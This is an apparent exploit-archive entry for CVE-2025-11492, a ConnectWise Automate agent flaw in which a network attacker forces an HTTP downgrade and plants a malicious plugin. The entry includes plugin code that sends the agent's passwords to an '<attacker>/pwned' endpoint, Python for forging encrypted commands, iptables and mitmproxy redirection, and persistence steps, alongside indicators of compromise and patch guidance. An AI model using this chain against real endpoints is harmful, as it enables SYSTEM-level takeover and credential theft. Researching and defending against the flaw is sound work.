PoC Archive PoC Archive
Critical CVE-2025-11492 patched

ConnectWise Automate Adversary-in-the-Middle Remote Code Execution (CVE-2025-11492)

by synap5e · 2026-07-06

CVSS 9.6/10
Severity
Critical
CVE
CVE-2025-11492
Category
network
Affected product
ConnectWise Automate (LabTech) RMM Agent
Affected versions
Tested on version string 250.252 (latest as of August 2025); fixed in 2025.9 (released 2025-10-16)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchersynap5e
CVE / AdvisoryCVE-2025-11492
Categorynetwork
SeverityCritical
CVSS Score9.6 (per NVD, CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusWeaponized
Tagsconnectwise-automate, labtech, rmm, aitm, mitm, plugin-hijack, unencrypted-http, des3, privilege-escalation, python, csharp, dnspy, dotnet
RelatedCVE-2025-11493

Affected Target

FieldValue
Software / SystemConnectWise Automate (LabTech) RMM Agent
Versions AffectedTested on version string 250.252 (latest as of August 2025); fixed in 2025.9 (released 2025-10-16)
Language / PlatformPython (fake C2 server / mitmproxy script), C# (.NET plugin DLL patched with dnSpy); target is the Windows ConnectWise Automate agent service
Authentication RequiredNo (attacker needs network position, not credentials)
Network Access RequiredYes — requires an Adversary-in-the-Middle (AiTM) position on the network path between agent and server, or physical/local access to bridge the device onto an attacker-controlled network

Summary

The ConnectWise Automate RMM agent can be configured with an http:// fallback Server Address (observed as default/common configuration at multiple MSPs); an attacker with AiTM network position can force a fallback from HTTPS to HTTP, then serve a forged plugin-dependency manifest with a mismatched checksum to coerce the agent into downloading and loading a malicious .NET plugin DLL. The root cause is that Automate’s dependency-check/download protocol (Agent.aspx?DEPS / DepCheck=1) and its secondary cmdGetPlugins validation are unauthenticated, unencrypted, and unsigned, so an attacker-controlled server can simply lie about expected checksums. The malicious plugin (built by patching the legitimate ScreenConnectRemotePlugin.dll with dnSpy) uses .NET reflection to read the agent’s decrypted system/computer passwords from memory and exfiltrates them to the fake server, which then derives the correct DES3 key/IV to send arbitrary signed “Remote Commands” (e.g. Execute cmd.exe) back over the standard RMM channel — achieving SYSTEM-level remote code execution and, by rewriting the registry Server Address, stealthy long-term C2 persistence.


Vulnerability Details

Root Cause

Automate’s agent-to-server protocol runs over plain HTTP(S) with only partial, inconsistent authenticated encryption. Two independent weaknesses combine into a full remote code execution chain:

  1. HTTP fallback with no downgrade protection — the agent’s registry-configured Server Address (HKLM\SOFTWARE\LabTech\Service\Server Address) is often set to https://host|http://host, pipe-delimited. If the HTTPS leg fails (which an AiTM attacker can force by dropping port 443 traffic), the agent silently falls back to HTTP with no warning or integrity check.
  2. Unauthenticated/unsigned plugin dependency protocolGET /LabTech/Agent.aspx?DEPS returns an unsigned, unencrypted XML manifest of expected plugin files and MD5 checksums; GET /LabTech/Agent.Aspx?DepCheck=1&DependancyId=<id> serves the actual binary (disguised with a fake JPEG header). A secondary validation command, cmdGetPlugins, re-confirms the checksum but is likewise unauthenticated. An attacker who controls the HTTP responses can simply report a forged checksum matching their own malicious DLL, causing the agent to download and load it as a trusted plugin — arbitrary .NET code execution as SYSTEM.

Once code execution is achieved via the malicious plugin, the plugin (patched from the legitimate ScreenConnectRemotePlugin.dll using dnSpy) uses reflection against Automate’s internal (Unicode-obfuscated) classes to read the already-decrypted system password and computer password out of process memory, then POSTs them to the attacker’s /pwned endpoint:

1
2
3
4
object value4 = AppDomain.CurrentDomain.GetAssemblies()[1].GetType("").GetField("").GetValue(null);
object obj = type.GetMethod("get_ComputerPassword").Invoke(value5, null);
object obj2 = type.GetMethod("get_SystemPassword").Invoke(value5, null);
// ... UploadString(..., "http://<attacker>/pwned", "POST", json)

With the computer password recovered, the attacker derives the DES3 session key the same way the real agent does (LabTechCommonBase.dll’s Utilities.LabTechHash.ComputeHash) and a hardcoded IV extracted from decompiled code ([240, 3, 45, 29, 0, 76, 173, 59]), allowing them to forge arbitrary encrypted “Remote Commands” such as Execute:

1
2
3
4
5
labtech_hash = Utilities.LabTechHash()
labtech_hash.ComputeHash(computer_password.encode('ascii'))
byts = bytes(labtech_hash.GetDigestBytes())
cipher = DES3.new(byts, DES3.MODE_CBC, bytes(iv))
encrypted_data = cipher.encrypt(pad(data.encode('utf-8'), DES3.block_size))

Because “Remote Commands” also lack replay protection, previously-observed commands (e.g. UpdatePlugins) can be replayed against other agents to re-trigger the same exploitation chain.

Attack Vector

  1. Attacker gains an AiTM position on the network path between the Automate agent and its legitimate server — via a compromised home network, a rogue Wi-Fi AP (the PoC uses hostapd/dnsmasq/iptables NAT), or brief physical access (joining a malicious Wi-Fi network from the Windows lock screen, or a malicious Ethernet device).
  2. The attacker blocks/drops HTTPS (port 443) traffic to the real Automate server, forcing the agent onto its http:// fallback; a device reboot is the most reliable way to force the agent to re-fetch its plugin configuration during this window.
  3. mitm_automate.py (a mitmproxy transparent-mode script) rewrites requests for the real Automate hostname to point at the attacker’s fake server instead of proxying through.
  4. The fake server (automate_server/main.py, a FastAPI app) responds to Agent.aspx?DEPS with a manifest whose entry for ScreenConnectRemotePlugin.dll has a checksum matching a maliciously patched copy of that DLL, and serves that DLL (fake-JPEG-wrapped) on the matching DepCheck request; cmdGetPlugins echoes the same forged checksum for the secondary validation pass.
  5. The agent downloads, validates (against the forged checksum), and loads the malicious plugin as SYSTEM. On load, the plugin’s injected code extracts the decrypted system/computer passwords via reflection and POSTs them to the fake server’s /pwned endpoint.
  6. With the computer password known, the fake server derives the DES3 session key and sends an encrypted InitialCommandRetrieve/Execute remote command back to the agent, which runs it as SYSTEM (demonstrated in the PoC with CMD.exe /c ping -t -l 1337 192.168.20.2, a payload-size “canary” visible in captured traffic).
  7. Optionally, the server sends UpdatePlugins with the original legitimate DLL to clean up the malicious plugin and reduce detection, while retaining C2 access via the harvested passwords, or persists by rewriting the agent’s Server Address registry value to point permanently at the attacker’s server.

Impact

  • Remote code execution as SYSTEM on any Automate-managed endpoint reachable via AiTM.
  • Full symmetric-key recovery for the standard (mostly) encrypted RMM command channel, enabling arbitrary follow-on commands (file exfiltration, credential dumping, tunneling/SOCKS pivoting) indistinguishable from legitimate RMM traffic to EDR.
  • Stealthy long-term persistence via Server Address rewrite, surviving the initial AiTM window.
  • Usable as either a remote AiTM attack (e.g. compromised Wi-Fi) or a local privilege-escalation/persistence primitive given only physical/network access to the endpoint.

Environment / Lab Setup

Target:   ConnectWise Automate agent (LabTech), version string 250.252 (pre-2025.9), Server Address configured with an http:// fallback
Attacker: Linux box with a wireless adapter for a rogue AP (hostapd, dnsmasq, iptables NAT), mitmproxy (mitm_automate.py, transparent mode),
          Python 3.10+ with uv (fastapi[standard], pycryptodome, pythonnet, lxml, loguru) to run automate_server/main.py
          A copy of the target's LTSvc folder (for LabTechCommonBase.dll / password-hash & enum interop via pythonnet)
          dnSpy (or similar .NET decompiler/patcher) to build a malicious plugin from the legitimate ScreenConnectRemotePlugin.dll

Proof of Concept

PoC Script

See mitm_automate.py, automate_server/main.py, automate_server/labtech_net.py, automate_server/labtech_enums.py, automate_server/deps_LabTech_Agent_v250.249.xml, and automate_server/ScreenConnectRemotePlugin_EXFIL.dll in this folder. Full technical writeup in README.md (top-level) and automate_server/README.md.

1
2
3
4
5
6
iptables -t nat -A PREROUTING -i <iface> -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -A FORWARD -i <iface> -p tcp --dport 443 -j DROP

mitmproxy --mode transparent@8080 -s mitm_automate.py

uv run fastapi run ./automate_server/main.py

Detection & Indicators of Compromise

Signs of compromise:

  • Automate agent’s Server Address registry value pointing to an unexpected host
  • Plugin DLL checksums under the Automate installation directory not matching vendor-published hashes
  • Unexplained SYSTEM-level process execution (e.g. cmd.exe, ping.exe) spawned by the Automate/LTSvc service around a device reboot
  • Automate agent traffic served over HTTP instead of the expected HTTPS endpoint

Remediation

ActionDetail
Primary fixUpgrade ConnectWise Automate to version 2025.9 or later, which removes the HTTP fallback
Interim mitigationRemove http:// fallback entries from agent Server Address configuration (HTTPS-only), block outbound port 80 for Automate agent traffic, monitor/alert on plugin DLL checksum changes, and restrict devices from joining untrusted networks (disable Wi-Fi network selection from the lock screen where feasible)

References


Notes

Mirrored from https://github.com/synap5e/connectwise-automate-AiTM-rce on 2026-07-06. Substantial working AiTM implementation (fake FastAPI Automate server, mitmproxy traffic-redirection script, dnSpy-patched plugin DLL) plus an 11KB technical README describing the full RCE chain; disclosed responsibly to ConnectWise (reported 2025-08-20, patched 2025-10-16) with the detailed internal mitigation-design section intentionally redacted from public disclosure by the original author.

mitm_automate.py
1
2
3
4
5
6
7
8
9
import logging as logger
from mitmproxy import http

REAL_AUTOMATE_HOST = 'automate.msp-one.com'
FAKE_AUTOMATE_SERVER = 'http://10.1.2.3:8080'

def request(flow: http.HTTPFlow):
    if flow.request.pretty_host == REAL_AUTOMATE_HOST:
        flow.request.url = FAKE_AUTOMATE_SERVER + flow.request.path